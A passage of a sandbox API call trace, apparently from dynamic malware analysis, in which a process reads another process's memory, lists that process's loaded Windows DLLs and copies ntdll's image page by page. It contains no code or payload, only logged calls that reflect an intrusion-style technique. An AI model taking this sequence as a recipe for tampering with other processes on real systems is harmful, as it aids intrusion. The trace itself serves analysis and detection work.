(lpStart="C:\\Windows\\syswow64\\SspiCli.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SspiCli.dll" [0044.330] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce660, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.330] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce610, Buffer=0x986faf0, NumberOfBytesToRead=0x42, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x42) returned 0x0 [0044.330] StrRChrA (lpStart="C:\\Windows\\syswow64\\CRYPTBASE.dll", lpEnd=0x0, wMatch=0x5c) returned="\\CRYPTBASE.dll" [0044.330] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce728, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.330] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce6e0, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.330] StrRChrA (lpStart="C:\\Windows\\syswow64\\GDI32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\GDI32.dll" [0044.330] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce7f0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.330] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce7a8, Buffer=0x986faf0, NumberOfBytesToRead=0x3c, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3c) returned 0x0 [0044.330] StrRChrA (lpStart="C:\\Windows\\syswow64\\USER32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\USER32.dll" [0044.330] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce8b0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.331] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce870, Buffer=0x986faf0, NumberOfBytesToRead=0x36, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x36) returned 0x0 [0044.331] StrRChrA (lpStart="C:\\Windows\\syswow64\\LPK.dll", lpEnd=0x0, wMatch=0x5c) returned="\\LPK.dll" [0044.331] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce978, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.331] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce930, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.331] StrRChrA (lpStart="C:\\Windows\\syswow64\\USP10.dll", lpEnd=0x0, wMatch=0x5c) returned="\\USP10.dll" [0044.331] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cea40, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.331] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce9f8, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.331] StrRChrA (lpStart="C:\\Windows\\syswow64\\SHLWAPI.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SHLWAPI.dll" [0044.331] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cef08, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.331] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ceec0, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.331] StrRChrA (lpStart="C:\\Windows\\syswow64\\SHELL32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SHELL32.dll" [0044.331] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cefd0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.331] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cef88, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.331] StrRChrA (lpStart="C:\\Windows\\syswow64\\ole32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ole32.dll" [0044.331] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf0b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.331] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf050, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.331] StrRChrA (lpStart="C:\\Windows\\syswow64\\OLEAUT32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\OLEAUT32.dll" [0044.331] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf138, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.332] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1350, Buffer=0x986faf0, NumberOfBytesToRead=0x4a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x4a) returned 0x0 [0044.332] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\EXPLORERFRAME.dll", lpEnd=0x0, wMatch=0x5c) returned="\\EXPLORERFRAME.dll" [0044.332] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf1b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.332] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d13a8, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.332] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\DUser.dll", lpEnd=0x0, wMatch=0x5c) returned="\\DUser.dll" [0044.332] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf238, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.332] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d17f0, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.332] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\DUI70.dll", lpEnd=0x0, wMatch=0x5c) returned="\\DUI70.dll" [0044.332] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf2b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.332] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1910, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.332] StrRChrA (lpStart="C:\\Windows\\syswow64\\IMM32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\IMM32.dll" [0044.332] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf338, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.332] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1d78, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.332] StrRChrA (lpStart="C:\\Windows\\syswow64\\MSCTF.dll", lpEnd=0x0, wMatch=0x5c) returned="\\MSCTF.dll" [0044.332] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf3b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.332] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1dc0, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.332] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\UxTheme.dll", lpEnd=0x0, wMatch=0x5c) returned="\\UxTheme.dll" [0044.332] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf438, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.332] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d2f88, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.333] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\POWRPROF.dll", lpEnd=0x0, wMatch=0x5c) returned="\\POWRPROF.dll" [0044.333] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf4b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.333] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1958, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.333] StrRChrA (lpStart="C:\\Windows\\syswow64\\SETUPAPI.dll", lpEnd=0x0, wMatch=0x5c) returned="\\SETUPAPI.dll" [0044.333] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf538, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.333] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d19a8, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.333] StrRChrA (lpStart="C:\\Windows\\syswow64\\CFGMGR32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\CFGMGR32.dll" [0044.333] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf5b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.333] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1e08, Buffer=0x986faf0, NumberOfBytesToRead=0x3c, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3c) returned 0x0 [0044.333] StrRChrA (lpStart="C:\\Windows\\syswow64\\DEVOBJ.dll", lpEnd=0x0, wMatch=0x5c) returned="\\DEVOBJ.dll" [0044.333] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf638, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.333] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1e50, Buffer=0x986faf0, NumberOfBytesToRead=0x3c, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3c) returned 0x0 [0044.333] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\dwmapi.dll", lpEnd=0x0, wMatch=0x5c) returned="\\dwmapi.dll" [0044.333] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf6b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.333] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d2dd0, Buffer=0x986faf0, NumberOfBytesToRead=0x36, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x36) returned 0x0 [0044.333] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\slc.dll", lpEnd=0x0, wMatch=0x5c) returned="\\slc.dll" [0044.333] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf738, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.334] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d3600, Buffer=0x986faf0, NumberOfBytesToRead=0xe2, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0xe2) returned 0x0 [0044.334] StrRChrA (lpStart="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll", lpEnd=0x0, wMatch=0x5c) returned="\\gdiplus.dll" [0044.334] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf7b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.334] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1e98, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.334] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\Secur32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\Secur32.dll" [0044.334] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf838, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.334] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6d1ee0, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.334] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\PROPSYS.dll", lpEnd=0x0, wMatch=0x5c) returned="\\PROPSYS.dll" [0044.334] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x986faf0 | out: hHeap=0x9770000) returned 1 [0044.334] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x986fd00 | out: hHeap=0x9770000) returned 1 [0044.334] lstrcmpiA (lpString1="explorer.exe", lpString2="NTDLL.DLL") returned -1 [0044.334] StrChrA (lpStart="explorer.exe", wMatch=0x2e) returned=".exe" [0044.334] lstrcmpiA (lpString1="explorer", lpString2="NTDLL.DLL") returned -1 [0044.334] lstrcmpiA (lpString1="ntdll.dll", lpString2="NTDLL.DLL") returned 0 [0044.334] VirtualFree (lpAddress=0x4070000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0044.335] VirtualAlloc (lpAddress=0x0, dwSize=0x180000, flAllocationType=0x3000, flProtect=0x4) returned 0x9ca0000 [0044.335] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77340000, Buffer=0x9ca0000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca0000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.335] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77341000, Buffer=0x9ca1000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca1000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.336] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77342000, Buffer=0x9ca2000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca2000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.336] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77343000, Buffer=0x9ca3000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca3000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.336] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77344000, Buffer=0x9ca4000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca4000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.336] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77345000, Buffer=0x9ca5000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca5000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.336] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77346000, Buffer=0x9ca6000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca6000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.336] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77347000, Buffer=0x9ca7000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca7000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.336] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77348000, Buffer=0x9ca8000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca8000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.336] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77349000, Buffer=0x9ca9000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9ca9000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.336] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7734a000, Buffer=0x9caa000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9caa000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.336] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7734b000, Buffer=0x9cab000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cab000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.337] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7734c000, Buffer=0x9cac000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cac000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.337] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7734d000, Buffer=0x9cad000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cad000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.337] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7734e000, Buffer=0x9cae000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cae000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.337] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7734f000, Buffer=0x9caf000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9caf000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.337] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77350000, Buffer=0x9cb0000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb0000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.337] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77351000, Buffer=0x9cb1000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb1000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.337] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77352000, Buffer=0x9cb2000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb2000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.337] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77353000, Buffer=0x9cb3000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb3000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.338] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77354000, Buffer=0x9cb4000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb4000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.338] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77355000, Buffer=0x9cb5000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb5000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.338] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77356000, Buffer=0x9cb6000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb6000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.338] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77357000, Buffer=0x9cb7000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb7000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.338] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77358000, Buffer=0x9cb8000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb8000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.338] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77359000, Buffer=0x9cb9000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cb9000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.338] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7735a000, Buffer=0x9cba000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cba000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.339] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7735b000, Buffer=0x9cbb000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cbb000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.339] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7735c000, Buffer=0x9cbc000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cbc000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.339] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7735d000, Buffer=0x9cbd000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cbd000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.339] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7735e000, Buffer=0x9cbe000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cbe000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.339] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7735f000, Buffer=0x9cbf000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cbf000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.339] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77360000, Buffer=0x9cc0000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc0000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.339] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77361000, Buffer=0x9cc1000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc1000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.340] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77362000, Buffer=0x9cc2000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc2000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.340] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77363000, Buffer=0x9cc3000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc3000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.340] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77364000, Buffer=0x9cc4000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc4000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.340] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77365000, Buffer=0x9cc5000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc5000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.340] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77366000, Buffer=0x9cc6000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc6000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.340] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77367000, Buffer=0x9cc7000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9cc7000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.340] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77368000, Buffer=0x9cc8000, 